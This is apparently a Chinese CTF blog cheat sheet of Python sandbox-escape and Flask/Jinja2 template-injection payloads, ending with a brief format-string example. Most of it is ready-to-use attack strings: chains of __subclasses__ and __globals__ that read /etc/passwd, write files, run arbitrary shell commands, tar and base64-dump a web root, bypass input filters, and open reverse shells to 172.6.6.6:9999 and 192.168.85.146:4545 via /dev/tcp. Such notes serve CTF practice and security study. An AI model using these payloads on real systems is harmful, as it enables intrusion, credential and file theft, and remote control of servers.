ctf-python一些技巧

现在比赛Python的站点越来越多,发一些绕过python限制的东西作为以后备用嘿嘿嘿

反序列化

Python2.7和3.5默认使用的序列化格式有所区别,一般带有括号和换行的序列化数据是2.7使用的,而包含\x00的一般是3.5使用的。windows 和 linux 反序列化的数据是不同的

沙盒绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# read 函数,读文件
().__class__.__bases__[0].__subclasses__()[40]('abc.php').read()
# write 函数,写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
# 执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
# 通过 system 执行任意命令
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('id')
# 通过 popen 执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_globals')['linecache'].__dict__['os'].__dict__['popen']('id').read()
# 打包文件
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_globals')['linecache'].__dict__['os'].__dict__['popen']('tar -czvf /tmp/www.tar.gz /home/ctf/www').read()
# base64 编码读取文件
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_globals')['linecache'].__dict__['os'].__dict__['popen']('base64 /tmp/www.tar.gz').read()

Flask/Jinja2模板注入

首先验证一下漏洞看有没有回显

1
2
3
http://192.168.1.10/{{1+2}}
http://192.168.1.10/?name={{1+2}}
http://192.168.1.10/?name={{1^0}}

然后可以获取配置信息试一下

1
2
3
4
# Flask模版中的一个全局对象,包含了应用程序的配置值
{{config}}
# 与服务器环境相关的对象字典
{{request.environ}}

利用方法(python2.7)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 读文件
''.__class__.__mro__[2].__subclasses__()[40]('1.txt').read()
# 写文件
''.__class__.__mro__[2].__subclasses__()[40]('2.txt','w').write('Write it!')
# 读文件,base64编码
''.__class__.__mro__[2].__subclasses__()[40]('1.txt').read().encode('base64')
# 通过 subprocess.Popen 执行 shell 命令
''['__class__']['__mro__'].__getitem__(2)['__subclasses__']()[230](['ls', '-al', '/home'],stdout=-1)['communicate']()
# 通过 os.popen 执行 shell 命令
''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals['linecache'].os.popen('id').read()

# eval python code __import__("sys").version
[].__class__.__base__.__subclasses__()[59].__init__.__globals__.__builtins__.eval([].__class__.__base__.__subclasses__()[6]([95, 95, 105, 109, 112, 111, 114, 116, 95, 95, 40, 34, 115, 121, 115, 34, 41, 46, 118, 101, 114, 115, 105, 111, 110]).__str__()

[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')
"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')
"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval, 'os.system("ls")')
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('bash -c "bash -i >& /dev/tcp/172.6.6.6/9999 0>&1"')

python3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 读写文件
''.__class__.__mro__[-1].__subclasses__()[59].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()

# 得到eval函数
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']
# 读写文件
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("open('/etc/passwd').read()")
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()
# 执行命令
# 得到system,system执行命令不会有回显
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /etc/passwd').read()
().__class__.__bases__[0].__subclasses__()[59].__init__.['__builtins__']['__import__']('subprocess').Popen(['cat', '/etc/passwd']).read()
# 反弹shell
().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('bash -c "bash -i >& /dev/tcp/192.168.85.146/4545 0>&1"')

有的需要绕过过滤

{(''|attr('__class__')}},{(''['__class__'])}}一样的
空格可以用tab(%09)绕过
| 后不允许接a-z可以用%0c,tab等绕过
os可以通过python中exec绕过
如果过滤仅限于 request.args 但是不允许 post,简单的办法是可以用request.cookies来绕过
flask和django的模板注入还有一种内置方法request.__class__效果等于request|attr('__class__')
通过参数引入字符串

1
/?secret={{request.args.class.join((request.args.usc*2,request.args.usc*2))}}&usc=_&class=class

通过设定变量提前创建好变量

1
/?secret={%set%09class=request.args.class.join((request.args.usc*2,request.args.usc*2))%}{{class}}&usc=_&class=class

格式化字符串漏洞

利用字符串 format 的漏洞,如果格式化字符串的内容可以被控制,就能输出一些敏感信息,但是无法执行命令

1
2
3
4
5
6
7
8
9
10
11
class User(object):
def __init__(self, name):
self.name = name

# a == joe
input_t = '{0.name}'
a = input_t.format(User('joe'))

# a == joe
input_t = '{user.name}'
a = input_t.format(user=User('joe'))

本文参考:https://www.restran.net/2018/10/29/ctf-python-vulnerability-notes/

坚持原创技术分享,您的支持将鼓励我继续创作!